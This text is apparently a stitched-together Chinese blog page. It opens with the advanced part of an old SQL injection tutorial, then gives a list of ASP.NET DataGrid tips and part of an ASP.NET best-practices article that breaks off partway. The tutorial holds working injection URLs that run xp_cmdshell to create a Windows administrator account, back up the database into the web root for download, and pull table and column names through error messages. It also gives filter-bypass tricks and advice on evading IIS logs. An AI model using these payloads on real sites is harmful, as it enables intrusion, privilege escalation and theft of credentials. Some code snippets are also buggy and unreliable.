作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字)  SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C  SQLServer:A between B And C
作用:判断A是否界于B与C之间

第三节、中文处理方法

在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。

先说一点常识:

Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

    了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。


SQL注入漏洞全接触--高级篇 [3]

看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

第一节、利用系统表注入SQLServer数据库

       SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 ;;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

防 范 方 法

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:


Function SafeRequest(ParaName,ParaType)
       '--- 传入参数 ---
       'ParaName:参数名称-字符型
       'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

       Dim ParaValue
       ParaValue=Request(ParaName)
       If ParaType=1 then
              If ParaValue="" or not isNumeric(ParaValue) then
                     Response.write "参数" & ParaName & "必须为数字型!"
                     Response.end
              End if
       Else
              ParaValue=replace(ParaValue,"'","''")
       End if
       SafeRequest=ParaValue
End function

   文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。如果有什么疑问或想与我讨论相关问题,欢迎到www.54NB.com 向提出,谢谢大家!

1. 打开新的窗口并传送参数:

  传送参数:

response.write("<script>window.open(’*.aspx?id="+this.DropDownList1.SelectIndex+"&id1="+...+"’)</script>")
  接收参数:

string a = Request.QueryString("id");
string b = Request.QueryString("id1");
  2.为按钮添加对话框

Button1.Attributes.Add("onclick","return confirm(’确认?’)");
button.attributes.add("onclick","if(confirm(’are you sure...?’)){return true;}else{return false;}")
  3.删除表格选定记录

int intEmpID = (int)MyDataGrid.DataKeys[e.Item.ItemIndex];
string deleteCmd = "DELETE from Employee where emp_id = " + intEmpID.ToString()
  4.删除表格记录警告

private void DataGrid_ItemCreated(Object sender,DataGridItemEventArgs e)
{
 switch(e.Item.ItemType)
 {
  case ListItemType.Item :
  case ListItemType.AlternatingItem :
  case ListItemType.EditItem:
   TableCell myTableCell;
   myTableCell = e.Item.Cells[14];
   LinkButton myDeleteButton ;
   myDeleteButton = (LinkButton)myTableCell.Controls[0];
   myDeleteButton.Attributes.Add("onclick","return confirm(’您是否确定要删除这条信息’);");
   break;
  default:
   break;
 }

}
  5.点击表格行链接另一页

private void grdCustomer_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
{
 //点击表格打开
 if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)
  e.Item.Attributes.Add("onclick","window.open(’Default.aspx?id=" + e.Item.Cells[0].Text + "’);");
}
  双击表格连接到另一页

  在itemDataBind事件中

if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)
{
 string OrderItemID =e.item.cells[1].Text;
 ...
 e.item.Attributes.Add("ondblclick", "location.href=’../ShippedGrid.aspx?id=" + OrderItemID + "’");
}
  双击表格打开新一页

if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)
{
 string OrderItemID =e.item.cells[1].Text;
 ...
 e.item.Attributes.Add("ondblclick", "open(’../ShippedGrid.aspx?id=" + OrderItemID + "’)");
}

6.表格超连接列传递参数

<asp:HyperLinkColumn Target="_blank" headertext="ID号" DataTextField="id" NavigateUrl="aaa.aspx?id=’
 <%# DataBinder.Eval(Container.DataItem, "数据字段1")%>’ & name=’<%# DataBinder.Eval(Container.DataItem, "数据字段2")%>’ />
  7.表格点击改变颜色

if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)
{
 e.Item.Attributes.Add("onclick","this.style.backgroundColor=’#99cc00’;
    this.style.color=’buttontext’;this.style.cursor=’default’;");
}
  写在DataGrid的_ItemDataBound里

if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)
{
e.Item.Attributes.Add("onmouseover","this.style.backgroundColor=’#99cc00’;
   this.style.color=’buttontext’;this.style.cursor=’default’;");
e.Item.Attributes.Add("onmouseout","this.style.backgroundColor=’’;this.style.color=’’;");
}

  8.关于日期格式

  日期格式设定

DataFormatString="{0:yyyy-MM-dd}"
  我觉得应该在itembound事件中

e.items.cell["你的列"].text=DateTime.Parse(e.items.cell["你的列"].text.ToString("yyyy-MM-dd"))
  9.获取错误信息并到指定页面

  不要使用Response.Redirect,而应该使用Server.Transfer

  e.g

// in global.asax
protected void Application_Error(Object sender, EventArgs e) {
if (Server.GetLastError() is HttpUnhandledException)
Server.Transfer("MyErrorPage.aspx");

//其余的非HttpUnhandledException异常交给ASP.NET自己处理就okay了 :)
}
  Redirect会导致post-back的产生从而丢失了错误信息,所以页面导向应该直接在服务器端执行,这样就可以在错误处理页面得到出错信息并进行相应的处理

  10.清空Cookie

Cookie.Expires=[DateTime];
Response.Cookies("UserName").Expires = 0
  11.自定义异常处理

//自定义异常处理类
using System;
using System.Diagnostics;

namespace MyAppException
{
 /// <summary>
 /// 从系统异常类ApplicationException继承的应用程序异常处理类。
 /// 自动将异常内容记录到Windows NT/2000的应用程序日志
 /// </summary>
 public class AppException:System.ApplicationException
 {
  public AppException()
  {
   if (ApplicationConfiguration.EventLogEnabled)LogEvent("出现一个未知错误。");
  }

 public AppException(string message)
 {
  LogEvent(message);
 }

 public AppException(string message,Exception innerException)
 {
  LogEvent(message);
  if (innerException != null)
  {
   LogEvent(innerException.Message);
  }
 }

 //日志记录类
 using System;
 using System.Configuration;
 using System.Diagnostics;
 using System.IO;
 using System.Text;
 using System.Threading;

 namespace MyEventLog
 {
  /// <summary>
  /// 事件日志记录类,提供事件日志记录支持
  /// <remarks>
  /// 定义了4个日志记录方法 (error, warning, info, trace)
  /// </remarks>
  /// </summary>
  public class ApplicationLog
  {
   /// <summary>
   /// 将错误信息记录到Win2000/NT事件日志中
   /// <param name="message">需要记录的文本信息</param>
   /// </summary>
   public static void WriteError(String message)
   {
    WriteLog(TraceLevel.Error, message);
   }

   /// <summary>
   /// 将警告信息记录到Win2000/NT事件日志中
   /// <param name="message">需要记录的文本信息</param>
   /// </summary>
   public static void WriteWarning(String message)
   {
    WriteLog(TraceLevel.Warning, message);  
   }

   /// <summary>
   /// 将提示信息记录到Win2000/NT事件日志中
   /// <param name="message">需要记录的文本信息</param>
   /// </summary>
   public static void WriteInfo(String message)
   {
    WriteLog(TraceLevel.Info, message);
   }
   /// <summary>
   /// 将跟踪信息记录到Win2000/NT事件日志中
   /// <param name="message">需要记录的文本信息</param>
   /// </summary>
   public static void WriteTrace(String message)
   {
    WriteLog(TraceLevel.Verbose, message);
   }

   /// <summary>
   /// 格式化记录到事件日志的文本信息格式
   /// <param name="ex">需要格式化的异常对象</param>
   /// <param name="catchInfo">异常信息标题字符串.</param>
   /// <retvalue>
   /// <para>格式后的异常信息字符串,包括异常内容和跟踪堆栈.</para>
   /// </retvalue>
   /// </summary>
   public static String FormatException(Exception ex, String catchInfo)
   {
    StringBuilder strBuilder = new StringBuilder();
    if (catchInfo != String.Empty)
    {
     strBuilder.Append(catchInfo).Append("\r\n");
    }
    strBuilder.Append(ex.Message).Append("\r\n").Append(ex.StackTrace);
    return strBuilder.ToString();
   }

   /// <summary>
   /// 实际事件日志写入方法
   /// <param name="level">要记录信息的级别(error,warning,info,trace).</param>
   /// <param name="messageText">要记录的文本.</param>
   /// </summary>
   private static void WriteLog(TraceLevel level, String messageText)
   {
    try
    {
     EventLogEntryType LogEntryType;
     switch (level)
     {
      case TraceLevel.Error:
       LogEntryType = EventLogEntryType.Error;
       break;
      case TraceLevel.Warning:
       LogEntryType = EventLogEntryType.Warning;
       break;
      case TraceLevel.Info:
       LogEntryType = EventLogEntryType.Information;
       break;
      case TraceLevel.Verbose:
       LogEntryType = EventLogEntryType.SuccessAudit;
       break;
      default:
       LogEntryType = EventLogEntryType.SuccessAudit;
       break;
     }

     EventLog eventLog = new EventLog("Application", ApplicationConfiguration.EventLogMachineName, ApplicationConfiguration.EventLogSourceName );
     //写入事件日志
     eventLog.WriteEntry(messageText, LogEntryType);

    }
   catch {} //忽略任何异常
  }
 } //class ApplicationLog
}
12.Panel 横向滚动,纵向自动扩展

<asp:panel style="overflow-x:scroll;overflow-y:auto;"></asp:panel>
  13.回车转换成Tab

<script language="javascript" for="document" event="onkeydown">
 if(event.keyCode==13 && event.srcElement.type!=’button’ && event.srcElement.type!=’submit’ &&     event.srcElement.type!=’reset’ && event.srcElement.type!=’’&& event.srcElement.type!=’textarea’);
   event.keyCode=9;
</script>

onkeydown="if(event.keyCode==13) event.keyCode=9"

  14.DataGrid超级连接列

DataNavigateUrlField="字段名" DataNavigateUrlFormatString="http://xx/inc/delete.aspx?ID={0}"
  15.DataGrid行随鼠标变色

private void DGzf_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
{
 if (e.Item.ItemType!=ListItemType.Header)
 {
  e.Item.Attributes.Add( "onmouseout","this.style.backgroundColor=\""+e.Item.Style["BACKGROUND-COLOR"]+"\"");
  e.Item.Attributes.Add( "onmouseover","this.style.backgroundColor=\""+ "#EFF3F7"+"\"");
 }
}
  16.模板列

<ASP:TEMPLATECOLUMN visible="False" sortexpression="demo" headertext="ID">
<ITEMTEMPLATE>
<ASP:LABEL text=’<%# DataBinder.Eval(Container.DataItem, "ArticleID")%>’ runat="server" width="80%" id="lblColumn" />
</ITEMTEMPLATE>
</ASP:TEMPLATECOLUMN>

<ASP:TEMPLATECOLUMN headertext="选中">
<HEADERSTYLE wrap="False" horizontalalign="Center"></HEADERSTYLE>
<ITEMTEMPLATE>
<ASP:CHECKBOX id="chkExport" runat="server" />
</ITEMTEMPLATE>
<EDITITEMTEMPLATE>
<ASP:CHECKBOX id="chkExportON" runat="server" enabled="true" />
</EDITITEMTEMPLATE>
</ASP:TEMPLATECOLUMN>
  后台代码

protected void CheckAll_CheckedChanged(object sender, System.EventArgs e)
{
 //改变列的选定,实现全选或全不选。
 CheckBox chkExport ;
 if( CheckAll.Checked)
 {
  foreach(DataGridItem oDataGridItem in MyDataGrid.Items)
  {
   chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");
   chkExport.Checked = true;
  }
 }
 else
 {
  foreach(DataGridItem oDataGridItem in MyDataGrid.Items)
  {
   chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");
   chkExport.Checked = false;
  }
 }
}
  17.数字格式化

  【<%#Container.DataItem("price")%>的结果是500.0000,怎样格式化为500.00?】

<%#Container.DataItem("price","{0:¥#,##0.00}")%>

int i=123456;
string s=i.ToString("###,###.00");
18.日期格式化

  【aspx页面内:<%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date")%>

  显示为: 2004-8-11 19:44:28

  我只想要:2004-8-11 】

<%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date","{0:yyyy-M-d}")%>
  应该如何改?

  【格式化日期】

  取出来,一般是object((DateTime)objectFromDB).ToString("yyyy-MM-dd");

  【日期的验证表达式】

  A.以下正确的输入格式: [2004-2-29], [2004-02-29 10:29:39 pm], [2004/12/31]

^((\d{2}(([02468][048])|([13579][26]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|([1-2][0-9])))))|(\d{2}(([02468][1235679])|([13579][01345789]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|(1[0-9])|(2[0-8]))))))(\s(((0?[1-9])|(1[0-2]))\:([0-5][0-9])((\s)|(\:([0-5][0-9])\s))([AM|PM|am|pm]{2,2})))?$
  B.以下正确的输入格式:[0001-12-31], [9999 09 30], [2002/03/03]

^\d{4}[\-\/\s]?((((0[13578])|(1[02]))[\-\/\s]?(([0-2][0-9])|(3[01])))|(((0[469])|(11))[\-\/\s]?(([0-2][0-9])|(30)))|(02[\-\/\s]?[0-2][0-9]))$
  【大小写转换】

HttpUtility.HtmlEncode(string);
HttpUtility.HtmlDecode(string)
  19.如何设定全局变量

  Global.asax中

  Application_Start()事件中

  添加Application[属性名] = xxx;

  就是你的全局变量

  20.怎样作到HyperLinkColumn生成的连接后,点击连接,打开新窗口?

  HyperLinkColumn有个属性Target,将器值设置成"_blank"即可.(Target="_blank")

  【ASPNETMENU】点击菜单项弹出新窗口

  在你的menuData.xml文件的菜单项中加入URLTarget="_blank",如:

<?xml version="1.0" encoding="GB2312"?>
<MenuData ImagesBaseURL="images/">
<MenuGroup>
<MenuItem Label="内参信息" URL="Infomation.aspx" >
<MenuGroup ID="BBC">
<MenuItem Label="公告信息" URL="Infomation.aspx" URLTarget="_blank" LeftIcon="file.gif"/>
<MenuItem Label="编制信息简报" URL="NewInfo.aspx" LeftIcon="file.gif" />
......
  最好将你的aspnetmenu升级到1.2版

  21.读取DataGrid控件TextBox值

foreach(DataGrid dgi in yourDataGrid.Items)
{
 TextBox tb = (TextBox)dgi.FindControl("yourTextBoxId");
 tb.Text....
}
  23.在DataGrid中有3个模板列包含Textbox分别为 DG_ShuLiang (数量) DG_DanJian(单价) DG_JinE(金额)分别在5.6.7列,要求在录入数量及单价的时候自动算出金额即:数量*单价=金额还要求录入时限制为 数值型.我如何用客户端脚本实现这个功能?

  〖思归〗

<asp:TemplateColumn HeaderText="数量">
<ItemTemplate>
<asp:TextBox id="ShuLiang" runat=’server’ Text=’<%# DataBinder.Eval(Container.DataItem,"DG_ShuLiang")%>’
onkeyup="javascript:DoCal()"
/>

<asp:RegularExpressionValidator id="revS" runat="server" ControlToValidate="ShuLiang" ErrorMessage="must be integer" ValidationExpression="^\d+$" />
</ItemTemplate>
</asp:TemplateColumn>

<asp:TemplateColumn HeaderText="单价">
<ItemTemplate>
<asp:TextBox id="DanJian" runat=’server’ Text=’<%# DataBinder.Eval(Container.DataItem,"DG_DanJian")%>’
onkeyup="javascript:DoCal()"
/>

<asp:RegularExpressionValidator id="revS2" runat="server" ControlToValidate="DanJian" ErrorMessage="must be numeric" ValidationExpression="^\d+(\.\d*)?$" />

</ItemTemplate>
</asp:TemplateColumn>

<asp:TemplateColumn HeaderText="金额">
<ItemTemplate>
<asp:TextBox id="JinE" runat=’server’ Text=’<%# DataBinder.Eval(Container.DataItem,"DG_JinE")%>’ />
</ItemTemplate>
</asp:TemplateColumn><script language="javascript">
function DoCal()
{
 var e = event.srcElement;
 var row = e.parentNode.parentNode;
 var txts = row.all.tags("INPUT");
 if (!txts.length || txts.length < 3)
  return;

 var q = txts[txts.length-3].value;
 var p = txts[txts.length-2].value;

 if (isNaN(q) || isNaN(p))
  return;

 q = parseInt(q);
 p = parseFloat(p);

 txts[txts.length-1].value = (q * p).toFixed(2);
}
</script>

24.datagrid选定比较底下的行时,为什么总是刷新一下,然后就滚动到了最上面,刚才选定的行因屏幕的关系就看不到了。

page_load
page.smartNavigation=true
  25.在Datagrid中修改数据,当点击编辑键时,数据出现在文本框中,怎么控制文本框的大小 ?

private void DataGrid1_ItemDataBound(obj sender,DataGridItemEventArgs e)
{
 for(int i=0;i<e.Item.Cells.Count-1;i++)
  if(e.Item.ItemType==ListItemType.EditType)
  {
   e.Item.Cells[i].Attributes.Add("Width", "80px")
  }
}
  26.对话框

private static string ScriptBegin = "<script language=\"JavaScript\">";
private static string ScriptEnd = "</script>";

public static void ConfirmMessageBox(string PageTarget,string Content)
{
 string ConfirmContent="var retValue=window.confirm(’"+Content+"’);"+"if(retValue){window.location=’"+PageTarget+"’;}";

 ConfirmContent=ScriptBegin + ConfirmContent + ScriptEnd;

 Page ParameterPage = (Page)System.Web.HttpContext.Current.Handler;
 ParameterPage.RegisterStartupScript("confirm",ConfirmContent);
 //Response.Write(strScript);
}
  27. 将时间格式化:string aa=DateTime.Now.ToString("yyyy年MM月dd日");

  1.1 取当前年月日时分秒

currentTime=System.DateTime.Now;
  1.2 取当前年

int 年= DateTime.Now.Year;
  1.3 取当前月

int 月= DateTime.Now.Month;
  1.4 取当前日

int 日= DateTime.Now.Day;
  1.5 取当前时

int 时= DateTime.Now.Hour;
  1.6 取当前分

int 分= DateTime.Now.Minute;
  1.7 取当前秒

int 秒= DateTime.Now.Second;
  1.8 取当前毫秒

int 毫秒= DateTime.Now.Millisecond;
  28.自定义分页代码:

  先定义变量 :

public static int pageCount; //总页面数
public static int curPageIndex=1; //当前页面
  下一页:

if(DataGrid1.CurrentPageIndex < (DataGrid1.PageCount - 1))
{
 DataGrid1.CurrentPageIndex += 1;
 curPageIndex+=1;
}

bind(); // DataGrid1数据绑定函数
  上一页:

if(DataGrid1.CurrentPageIndex >0)
{
 DataGrid1.CurrentPageIndex += 1;
 curPageIndex-=1;
}

bind(); // DataGrid1数据绑定函数
  直接页面跳转:

int a=int.Parse(JumpPage.Value.Trim());//JumpPage.Value.Trim()为跳转值

if(a<DataGrid1.PageCount)
{
 this.DataGrid1.CurrentPageIndex=a;
}

bind();
29.DataGrid使用:

  添加删除确认:

private void DataGrid1_ItemCreated(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
{
 foreach(DataGridItem di in this.DataGrid1.Items)
 {
  if(di.ItemType==ListItemType.Item||di.ItemType==ListItemType.AlternatingItem)
  {
   ((LinkButton)di.Cells[8].Controls[0]).Attributes.Add("onclick","return confirm(’确认删除此项吗?’);");
  }
 }
}
  样式交替:

ListItemType itemType = e.Item.ItemType;

if (itemType == ListItemType.Item )
{
 e.Item.Attributes["onmouseout"] = "javascript:this.style.backgroundColor=’#FFFFFF’;";
 e.Item.Attributes["onmouseover"] = "javascript:this.style.backgroundColor=’#d9ece1’;cursor=’hand’;" ;
}
else if( itemType == ListItemType.AlternatingItem)
{
 e.Item.Attributes["onmouseout"] = "javascript:this.style.backgroundColor=’#a0d7c4’;";
 e.Item.Attributes["onmouseover"] = "javascript:this.style.backgroundColor=’#d9ece1’;cursor=’hand’;" ;
}
  添加一个编号列:

DataTable dt= c.ExecuteRtnTableForAccess(sqltxt); //执行sql返回的DataTable
DataColumn dc=dt.Columns.Add("number",System.Type.GetType("System.String"));

for(int i=0;i<dt.Rows.Count;i++)
{
 dt.Rows[i]["number"]=(i+1).ToString();
}

DataGrid1.DataSource=dt;
DataGrid1.DataBind();
  DataGrid1中添加一个CheckBox,页面中添加一个全选框

private void CheckBox2_CheckedChanged(object sender, System.EventArgs e)
{
 foreach(DataGridItem thisitem in DataGrid1.Items)
 {
  ((CheckBox)thisitem.Cells[0].Controls[1]).Checked=CheckBox2.Checked;
 }
}
  将当前页面中DataGrid1显示的数据全部删除

foreach(DataGridItem thisitem in DataGrid1.Items)
{
 if(((CheckBox)thisitem.Cells[0].Controls[1]).Checked)
 {
  string strloginid= DataGrid1.DataKeys[thisitem.ItemIndex].ToString();
  Del (strloginid); //删除函数
 }
}
  30.当文件在不同目录下,需要获取数据库连接字符串(如果连接字符串放在Web.config,然后在Global.asax中初始化)

  在Application_Start中添加以下代码:

Application["ConnStr"]=this.Context.Request.PhysicalApplicationPath+ConfigurationSettings.
   AppSettings["ConnStr"].ToString();
  31. 变量.ToString()

  字符型转换 转为字符串

12345.ToString("n"); //生成 12,345.00
12345.ToString("C"); //生成 ¥12,345.00
12345.ToString("e"); //生成 1.234500e+004
12345.ToString("f4"); //生成 12345.0000
12345.ToString("x"); //生成 3039 (16进制)
12345.ToString("p"); //生成 1,234,500.00%
  32、变量.Substring(参数1,参数2);

  截取字串的一部分,参数1为左起始位数,参数2为截取几位。 如:string s1 = str.Substring(0,2);

  33.在自己的网站上登陆其他网站:(如果你的页面是通过嵌套方式的话,因为一个页面只能有一个FORM,这时可以导向另外一个页面再提交登陆信息)

<SCRIPT language="javascript">
<!--
 function gook(pws)
 {
  frm.submit();
 }
//-->

</SCRIPT> <body leftMargin="0" topMargin="0" onload="javascript:gook()" marginwidth="0" marginheight="0">
<form name="frm" action=" http://220.194.55.68:6080/login.php?retid=7259 " method="post">
<tr>
<td>
<input id="f_user" type="hidden" size="1" name="f_user" runat="server">
<input id="f_domain" type="hidden" size="1" name="f_domain" runat="server">
<input class="box" id="f_pass" type="hidden" size="1" name="pwshow" runat="server">

<INPUT id="lng" type="hidden" maxLength="20" size="1" value="5" name="lng">
<INPUT id="tem" type="hidden" size="1" value="2" name="tem">

</td>

</tr>

</form>
  文本框的名称必须是你要登陆的网页上的名称,如果源码不行可以用vsniffer 看看。

  下面是获取用户输入的登陆信息的代码:

string name;
name=Request.QueryString["EmailName"];

try
{
 int a=name.IndexOf("@",0,name.Length);
 f_user.Value=name.Substring(0,a);
 f_domain.Value=name.Substring(a+1,name.Length-(a+1));
 f_pass.Value=Request.QueryString["Psw"];
}

catch
{
 Script.Alert("错误的邮箱!");
 Server.Transfer("index.aspx");
}

 

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=582787

在本篇文章中,我们将讨论编程人员在使用ASP.NET开发应用程序时需要注意的10个技巧,这些技巧涉及从缺省的控件、表单名的改变到StringBuilder类的使用,有助于编程人员能够尽快地适应.NET环境。

  1、在使用Visual Studio .NET时,除直接或非引用的对象外,不要使用缺省的名字

  .NET带来的好处之一是所有的源代码和配置文件都是纯文本文件,能够使用Notepad或WordPad等任意的文本编辑器进行编辑。如果不愿意,我们并非一定要使用Visual Studio .NET作为集成开发环境。但使用了Visual Studio .NET,我们可以在Windows文件管理器中看到文件,或在Visual Studio .NET之外从文本编辑器中浏览文件的内容。
  使用Visual Studio .NET作为集成开发环境有许多好处,其中最显著的好处是它极大地提高了生产效率。使用Visual Studio. NET,我们能够在付出较小代价的情况下更快地开发软件。作为集成开发环境一部分的IntelliSense提供自动的代码完成、在输入方法或函数时提供动态帮助、语法错误的实时提示,以及其他能够提高生产效率的功能。

  象其他复杂的工具那样,在学会如何充分发挥它的作用和掌握其“习性”前,Visual Studio .NET也会使我们产生一种挫折感。有时,它象一个难以了解的黑盒子,会生成大量的文件和许多无用的代码。

  Visual Studio .NET的一个功能是,无论是类、控件或表单中的对象,它都能够为新对象提供缺省名字。例如,如果我们创建了一个新的ASP.NET Web Application,其缺省的名字将是WebApplication1。我们可以在“新工程”对话框中方便地改变该应用的名字,但同时改变的只是该应用程序的名字空间的名字及其所在的虚拟目录,源代码文件的缺省名字仍然是WebForm1.aspx和WebForm1.aspx.cs(C#工程)或WebForm1.aspx.vb(VB.NET工程)。

  我们可以在方案浏览器中改变ASPX和代码使用的文件名字,但Web页类的名字仍然将是WebForm1。如果在该Web表单上生成一个按钮,其缺省的名字将是Button1。事实上,所有控件的名字都是由控件的类型和数字组成的。

  我们能够,也应该将应用程序中所有的表单和控件的名字都修改成有意义的名字。对于较小的演示性程序而言,缺省的名字还能够胜任,但如果应用程序由多个表单,每个表单上有许多按钮和标签时,象frmStartup、frmDataEntry和frmReports这样的表单名就比Form1、Form2和Form3这样的名字更易于理解和维护。

  如果表单上控件要在代码的其他地方引用,使它有一个有意义的名字就更重要了。btnOK、btnCancel和btnPrint这样的名字使看代码的人更容易理解,因而,也比名字为Button1、Button2、Button3这样的控件更容易维护。

  修改一个工程中所有文件中出现的一个名字的一个好方法是,在Visual Studio .NET菜单中依次选择“编辑”->“发现和替换”->“替换”命令。

  在看二周前编写的代码时,我们经常就象第一次见到这些代码一样,因此使它们有一个有助于我们理解其含义的名字是十分有必要的。

2、即使不使用Visual Studio .NET进行编程,使用代码支持文件也有利于提高应用程序的性能

  在Web应用程序、Web服务或Web控件等所有的ASP.NET Web工程中,Visual Studio .NET都使用代码支持文件。代码支持文件使工程具有更好的组织、模块性,更适合多人组成的开发团队。另外,它还会带来性能的提高。

  代码支持文件的内容被编译成一个组合文件中的类,一般是一个DLL文件,有时也可以是EXE文件。该文件驻留在应用程序的组合体高速缓冲区中,在应用程序启动时,可以立即得到它。

  如果代码是包含在<script>标记中或ASPX文件代码中,它仍然会被编译成一个Web页类。在这种情况下,每当该网页在应用程序对话中第一次加载时,都需要重新进行编译,被编译的类就会驻留在内存中。每当计算机启动、IIS停止、重新启动或者源代码、配置文件改变时,该文件必须重新编译。尽管不大,但这样引起的性能损耗也是相当可观的。

  3、尽量减少表单回送

  每当点击Web网页上的Button、LinkButton或ImageButton控件时,表单就会被发送到服务器上。如果控件的AutoPostBack属性被设置为true,如果CheckBox、CheckBoxList等控件的状态被改变后,也会使表单会发送回服务器。

  每次当表单被发送回服务器,就会被重新加载,启动Page_Load事件,执行Page_Load事件处理程序中的所有代码。把网页的初始化代码放在这里是最合适不过的了。我们经常会希望在每次加载网页时执行一些代码,而希望只有在网页第一次加载时执行另一些代码,甚至希望一些代码在除首次加载外的每次加载时执行。

  可以利用IsPostBack特性来完成这一功能。在网页第一次加载时,该属性的值是false。如果网页因回送而被重新加载,IsPostBack属性的值就会被设置为true。通过测试,可以在任意时候执行指定的代码。下面是相关的C#代码:


protected void Page_Load(Object sender, EventArgs e)
{
// 网页每次加载时,执行的一些操作
if (!IsPostBack)
{
// 网页第一次加载时执行的操作
}
else
{
// 回送时执行的操作
}

// 网页每次加载时执行的操作
}

 

  我们希望尽量不引起回送(每次回送都会要求服务器进行一系列的操作),即使引起回送后。也希望能够执行尽量少的操作。大规模、浪费时间的操作(例如数据库查找)尤其应当避免,因为它们能够延长应用程序的响应时间。

  4、使用StringBuilder类

